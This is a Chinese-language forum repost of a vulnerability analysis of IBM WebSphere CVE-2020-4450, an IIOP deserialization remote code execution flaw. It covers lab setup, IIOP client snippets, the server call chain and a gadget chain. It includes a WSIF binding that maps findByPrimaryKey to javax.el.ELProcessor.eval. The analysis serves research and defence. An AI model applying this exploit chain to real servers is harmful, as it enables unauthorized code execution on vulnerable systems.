安全矩阵

 找回密码
 立即注册
搜索
查看: 6248|回复: 0

Websphere CVE-2020-4450漏洞分析

[复制链接]

114

主题

158

帖子

640

积分

高级会员

Rank: 4

积分
640
发表于 2020-8-2 09:06:21 | 显示全部楼层 |阅读模式
Websphere CVE-2020-4450漏洞分析原创 观星实验室 iswin

来自于公众号: 奇安信安全服务
原文链接:https://mp.weixin.qq.com/s?__biz=MzI4MzA0ODUwNw==&mid=2247485139&idx=1&sn=8a57a5382cee3d5e182d7f1e443adf7f&chksm=eb91e987dce660916e874fe63f83772cc122fbe0abcfe5a7e69b09e4c182048c4705ec6d5a81&mpshare=1&scene=23&srcid=0731JzAq0tPf4F5aCINjzXPE&sharer_sharetime=1596190153031&sharer_shareid=ff83fe2fe7db7fcd8a1fcbc183d841c4#rd

漏洞简介
7月20号,ZDI官方Blog公布了一个名为abusing-java-remote-protocols-in-ibm-websphere (https://www.thezdi.com/blog/2020 ... ls-in-ibm-websphere)的文章,文章中提到了Websphere的两个漏洞,一个是RCE,另外一个是XXE,根据Blog中的内容来看,漏洞属于IIOP协议的反序列化,也是基于JNDI的利用,但是跟常规的JNDI利用有一些不同之处,一方面是Websphere将IIOP替换成自己的实现,另外就是Websphere严格的类加载机制导致大部分公开的利用链都没法利用,这个漏洞利用需要访问至少2809端口以及两次外连请求,从红队利用角度来看稍微有点鸡肋,但是漏洞的利用思路以及EXP的构造都非常的有意思,是一个值得研究的漏洞。

漏洞环境准备

经常做分析的同学都有深刻体会,针对有些不了解、不熟悉的系统进行分析时往往在环境准备上会耗费大量时间,而且有部分漏洞的利用需要在特定的条件和环境下进行,经常是“环境准备1天,分析调试10分钟”。

Websphere的安装有两种方式:

1、在线安装,直接在https://www.ibm.com/support/page ... -download-documents下载Installation Manager工具就可以在线安装,国内的网速环境比较慢,需要挂代理然后多刷新几次,直到出来以下界面,说明就OK了。



2、离线安装,这种方式现在官方基本上不推荐,而且离线的安装包基本上都是8.X的相对来说比较老,离线安装基本上需要将低包和安装程序都全部下载下来。

注:尽量不要选择基于Docker的安装环境,JAVA大部分RMI通信会依赖其他端口(一般是高端口)进行通信,安装的时候一定不要选补丁,不然复现不了,在线安装的版本是自带补丁的版本,本次测试的环境主要覆盖了两个版本,8.5.5.0以及9.0.0.2版本,这两个版本基本上涵盖了主流的版本。

漏洞分析

一般情况下调试之前我们要看下端口对应是哪些进程启动,然后给对用的进程加上远程Remote Debug选项,Websphere的远程调试直接在后台对应Application Server下面设置Remote Debug就可(2809的端口以及其它几个端口PID都一样),Websphere之前没有针对性的看过,根据官方的描述我们直接将断点打在com.ibm.ws.Transaction.JTS.TxServerInterceptor#receive_request上,然后用IIOP客户端直接连接,触发断点之后,就可以在堆栈里面看到完整请求的触发路径。


这个回溯的时候我们可以看一下这个漏洞触发点的位置,由于这个点是未授权,所以我们通过回溯可以看一下整体的流程,这个点的Interceptor就类似Java WEB中Filter的功能,回溯到com.ibm.rmi.pi.InterceptorManager#iterateServerInterceptors,可以看到还有一些其他的拦截器。


这些点都可以有助于分析人员对系统框架设计上的一些了解,下来直接看到关键的触发点,我们需要首先解决的问题是如何能到达漏洞触发点。


我们的目标是进入TxInterceptorHelper.demarshalContext方法,那么这里核心的点就是保证ServiceContext serviceContext = ((ExtendedServerRequestInfo)sri).getRequestServiceContext(0);代码片段中serviceContext不为空,同时serviceContext.context_data的内容不为空,所以我们先解决如何构造数据包的问题。

IIOP协议的链接主要有两种方式,一种是JAVA提供的标准客户端连接方式,这个的好处是可以通过设置java.naming.factory.initial对应的实现类去处理多种协议,例如T3(S)/IIOP(S)/LDAP(S)等等。
​​​​​​​

  1. Properties env = new Properties();
  2. env.put(Context.INITIAL_CONTEXT_FACTORY, "com.ibm.websphere.naming.WsnInitialContextFactory");
  3. env.put(Context.PROVIDER_URL, "iiop://192.168.18.130:2809");
  4. InitialContext initialContext = new InitialContext(env);
  5. initialContext.list("sglab");
复制代码


另外一种就是用ORB客户端直接连接,这种相对来说比较直接一点:​​​​​​​
  1. Properties props = new Properties();
  2. props.put("org.omg.CORBA.ORBInitialPort", "2809");
  3. props.put("org.omg.CORBA.ORBInitialHost", "192.168.18.130");
  4. ORB orb = ORB.init(args, props);
  5. org.omg.CORBA.Object orbref = orb.resolve_initial_references("NameService");
复制代码

现在的问题是如何在连接过程中设置相应的ServiceContext内容,经过一番搜索,发现可以通过第一种连接方式然后反射手动去加一个ServiceContext的实例,这里直接给出相应的实现,具体怎么找还是去Debug看变量。


现在可以到漏洞触发点了:


下面主要是看如何进行数据包的构造,为了能触发反序列化,程序必须得执行到如下代码片段第80行,propContext.implementation_specific_data = inputStream.read_any(); 代码片段。


由于前面有一堆的read*操作在demarshalContext函数中,那么我们可以看下对应marshalContext函数是怎么把对象序列化并且包装发出去的:​​​​​​​
  1. public static final byte[] marshalContext(PropagationContext propContext, ORB orb) {
  2.        if (TraceComponent.isAnyTracingEnabled() && tc.isEntryEnabled()) {
  3.            Tr.entry(tc, "marshalContext");
  4.        }

  5.        byte[] result = null;
  6.        CDROutputStream outputStream = ORB.createCDROutputStream(orb);
  7.        outputStream.putEndian();
  8.        PropagationContextHelper.write(outputStream, propContext);
  9.        byte[] result = outputStream.toByteArray();
  10.        outputStream.releaseBuffer();
  11.        if (TraceComponent.isAnyTracingEnabled() && tc.isEntryEnabled()) {
  12.            Tr.exit(tc, "marshalContext", result);
  13.        }

  14.        return result;
  15.    }
复制代码

到这里就可以照猫画虎生成payload,具体的代码片段如下:


这里WSIFPort_EJB对象在反序列化的时候回去调用一个对象fieldEjbObject,这个对象的构造稍微麻烦点,我是直接重写了com.ibm.ejs.container.EJSWrapper#getHandle函数,这样所有的构造都有可以在这里面进行,后面会讲到如何进行构造,到目前我们可以进行到反序列化的点,整体的调用链如下(主要是前面提到的inputStream.read_any()到最后调用的函数)

  1. readObject:513, WSIFPort_EJB (org.apache.wsif.providers.ejb)
  2. invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
  3. invoke:90, NativeMethodAccessorImpl (sun.reflect)
  4. invoke:55, DelegatingMethodAccessorImpl (sun.reflect)
  5. invoke:508, Method (java.lang.reflect)
  6. invokeObjectReader:2483, IIOPInputStream (com.ibm.rmi.io)
  7. inputObjectUsingClassDesc:2010, IIOPInputStream (com.ibm.rmi.io)
  8. continueSimpleReadObject:749, IIOPInputStream (com.ibm.rmi.io)
  9. simpleReadObjectLoop:720, IIOPInputStream (com.ibm.rmi.io)
  10. simpleReadObject:669, IIOPInputStream (com.ibm.rmi.io)
  11. readValue:193, ValueHandlerImpl (com.ibm.rmi.io)
  12. read_value:787, CDRReader (com.ibm.rmi.iiop)
  13. read_value:847, EncoderInputStream (com.ibm.rmi.iiop)
  14. unmarshalIn:273, TCUtility (com.ibm.rmi.corba)
  15. read_value:664, AnyImpl (com.ibm.rmi.corba)
  16. read_any:467, CDRReader (com.ibm.rmi.iiop)
  17. read_any:797, EncoderInputStream (com.ibm.rmi.iiop)
  18. demarshalContext:171, TxInterceptorHelper (com.ibm.ws.Transaction.JTS)
  19. receive_request:180, TxServerInterceptor (com.ibm.ws.Transaction.JTS)
  20. invokeInterceptor:608, InterceptorManager (com.ibm.rmi.pi)
  21. iterateServerInterceptors:521, InterceptorManager (com.ibm.rmi.pi)
  22. iterateReceiveRequest:732, InterceptorManager (com.ibm.rmi.pi)
  23. dispatchInvokeHandler:629, ServerDelegate (com.ibm.CORBA.iiop)
  24. dispatch:508, ServerDelegate (com.ibm.CORBA.iiop)
  25. process:613, ORB (com.ibm.rmi.iiop)
  26. process:1584, ORB (com.ibm.CORBA.iiop)
  27. doRequestWork:3210, Connection (com.ibm.rmi.iiop)
  28. doWork:3071, Connection (com.ibm.rmi.iiop)
  29. doWork:64, WorkUnitImpl (com.ibm.rmi.iiop)
  30. run:118, PooledThread (com.ibm.ejs.oa.pool)
  31. run:1892, ThreadPool$Worker (com.ibm.ws.util)
复制代码

这里解决了触发反序列化的这个过程,由于IBM Wesphere自定义的Classloader干掉了一些利用链中所需要类,导致公开的利用链是打不死的,所以我们需要基于WSIFPort_EJB 这个类去找一个新的利用链,基于WSIFPort_EJB 最终利用点在com.ibm.ejs.container.EntityHandle#getEJBObject中的下面代码。


92行是漏洞最终的触发点,根据这段代码我们可以看到,ctx.lookup这个函数必须是实现EJBHOME接口的类,这样才能到100行中最后去触发利用点,假定我们不继续往后面跟进,到这里我们可以找到homeClass的要求,要实现或者EJBHOME接口,同时有声明findFindByPrimaryKey方法,并且参数是Serializable类型,那么我们可以快速找到一个接口com.ibm.ws.batch.CounterHome,该接口的具体定义如下:
​​​​​​​

  1. public interface CounterHome extends EJBHome {
  2.    Counter create(String var1) throws CreateException, RemoteException;

  3.    Counter findByPrimaryKey(String var1) throws FinderException, RemoteException;
  4. }
复制代码


完全满足我们的需求,现在就是要去找ctx.lookup返回结果满足上面的要求的类,根据ZDI文章中的内容,这个IIOP的实现完全被IBM自己实现了一遍,所以传统的直接去LDAP或者RMI利用在这里是肯定不行的,这个地方的JNDI的调用逻辑主要如下:
  1. com.sun.jndi.rmi.registry.RegistryContext#lookup
  2. com.sun.jndi.rmi.registry.RegistryContext#decodeObject
  3. javax.naming.spi.NamingManager#getObjectInstance
  4. org.apache.aries.jndi.OSGiObjectFactoryBuilder#getObjectInstance
  5. org.apache.aries.jndi.ObjectFactoryHelper#getObjectInstance
  6. org.apache.aries.jndi.ObjectFactoryHelper#getObjectInstanceViaContextDotObjectFactories(其他函数路径也可以)
复制代码

我们直接跟进进行进一步分析,重点看org.apache.aries.jndi.ObjectFactoryHelper#getObjectInstance这个函数,JNDI的利用包括RMI的那个BYPASS基本上都在找javax.naming.spi.ObjectFactory接口新的实现类:


这里可以看到我们可以指定String factories = (String)environment.get("java.naming.factory.object");这个变量,environment变量是我们在反序列化的时候控制的内容,所以这里需要去找一个ObjectFactory可以利用的实现类,可以找到ZDI文章中说的这个org.apache.wsif.naming.WSIFServiceObjectFactory这个类,这个类我们可以看到:


到这里不由得让我们想起了之前那个RMIBYPASS的场景https://www.veracode.com/blog/re ... ndi-injections-java ,倒着我们就可以自定义一个RMI服务,将bind的内容设置成我们可以控制的org.apache.wsif.naming.WSIFServiceStubRef类型,就可以到最下面的函数,为什么上面那个org.apache.wsif.naming.WSIFServiceRef不行,因为前面提到了这个类必须要是EJBHOME的实现类,上面的明显不符合要求,下面的是通过动态代理来生成一个指定接口的类,而且接口的类型我们也可以控制,所以接下来就是如何利用wsif服务来进行代码执行了。

这里ctx.lookup里面的jndi的地址可以设置为自定义rmi的服务,具体的RMI服务代码如下:


这里就可以控制wsif相关的内容以及className接口的名称这里可以在设置Reference ref = new Reference(WSIFServiceStubRef.class.getName(), (String)null, (String)null);来指定具体的实现,配合org.apache.wsif.providers.ejb.WSIFPort_EJB序列化中java.naming.factory.object的类型来指定factory的实现类,也可以直接在这里指定factory的实现类这样客户端就不需要指定,两种方式都可以。

WSIFPort_EJB中fieldEjbObject对象的生成内容如下(我手动覆盖了com.ibm.ejs.container.EJSWrapper#getHandle)函数


关于WSIF服务如何进行RCE,这里说下关键点,具体的Sample参考https://www.ibm.com/support/know ... ae/twsf_devwes.html,看完弄个EXP肯定是没问题,factory返回的对象是一个动态代理,实现了com.ibm.ws.batch.CounterHome接口,最终在调用findByPrimaryKey函数的时候回去调用org.apache.wsif.base.WSIFClientProxy#invoke方法,这个方法中使用了WSIFOperation wsifOperation = this.wsifport.createOperation(method.getName(), inputName, outputName); 函数去请求wsif服务进行远程方法调用。

WSIF服务的wsdl描述文件中提供了JavaBind的方式,可以将描述文件中定义的函数(operation name)映射成客户机器中Java类的函数,所以这里我们可以将在wsif描述文件中定义findByPrimaryKey函数以及映射函数的参数和返回类型,这样在最终调用findByPrimaryKey函数的时候会调用到org.apache.wsif.base.WSIFClientProxy#invoke中createOperation函数去进行远程方法调用,客户端在拿到映射后就可以去执行映射类相应的函数了。

这里映射的类和函数是javax.el.ELProcessor类的eval方法,eval函数接受一个String类型的参数映射是符合相应的定义,WSIF对应的XML文件关键片段如下:

  1. <binding name="JavaBinding" type="tns:RceServicePT">
  2. <java:binding/>
  3. <format:typeMapping encoding="Java" style="Java">
  4.    <format:typeMap typeName="xsd:string" formatType="java.lang.String"/>
  5.    <format:typeMap typeName="xsd:object" formatType="java.lang.Object"/>

  6. </format:typeMapping>

  7. <operation name="findByPrimaryKey">
  8.    <java:operation
  9.                    methodName="eval"
  10.                    parameterOrder="expression"
  11.                    methodType="instance"
  12.                    returnPart="result"/>
  13.    <input name="getExpressionRequest"/>
  14.    <output name="getExpressionResponse"/>
  15. </operation>
  16. </binding>

  17. <service name="rce_service">
  18. <port name="JavaPort" binding="tns:JavaBinding">
  19.    <java:address className="javax.el.ELProcessor"/>
  20. </port>
  21. </service>
复制代码


而且findByPrimaryKey的参数也是我们在WSIFPort_EJB序列化数据中可以控制的,所以最终就导致了RCE。

漏洞利用

最开始在测试Websphere 8.5.5.0的时候,发现有个关键位置:


这里获取到Proxy的代理对象result的时候默认就调用ObjectFactoryHelper.logger.log(Level.FINE, "result = " + result);方法,这个函数会导致调用Proxy代理对象的toString方法,间接的调用org.apache.wsif.base.WSIFClientProxy#invoke方法,org.apache.wsif.base.WSIFClientProxy#invoke方法中有个非常关键的函数(this.findMatchingOperation(method, args);)会导致EXP利用中断,如下图:


这里要求调用的函数必须是继承接口(EJBHOME)中一个接口,否则程序主动抛异常(Exception in thread "main" java.lang.reflect.UndeclaredThrowableException)EXP就利用失败,这个点遇到的问题卡了我两天左右,最后看到有人复现成功,测试的9版本,所以我就切换到9版本。

在9版本中修复了这个第三方库的BUG,不主动的调用Log,加了if判断,如下:

9.0 版本中org.apache.aries.jndi.ObjectFactoryHelper#getObjectInstanceViaContextDotObjectFactories函数的实现:


8.5.5.0 中的org.apache.aries.jndi.ObjectFactoryHelper#getObjectInstanceViaContextDotObjectFactories实现:


很明显加了判断,就没这个问题了。

所以8.5.5.0默认情况下有可能打不死(如果不打补丁2013年的那个库之前),9.0.0.2 没问题,其他版本后续慢慢测试。

补个成功截图:





参考

https://www.thezdi.com/blog/2020/7/20/abusing-java-remote-protocols-in-ibm-websphere



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 06:49 , Processed in 0.014231 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表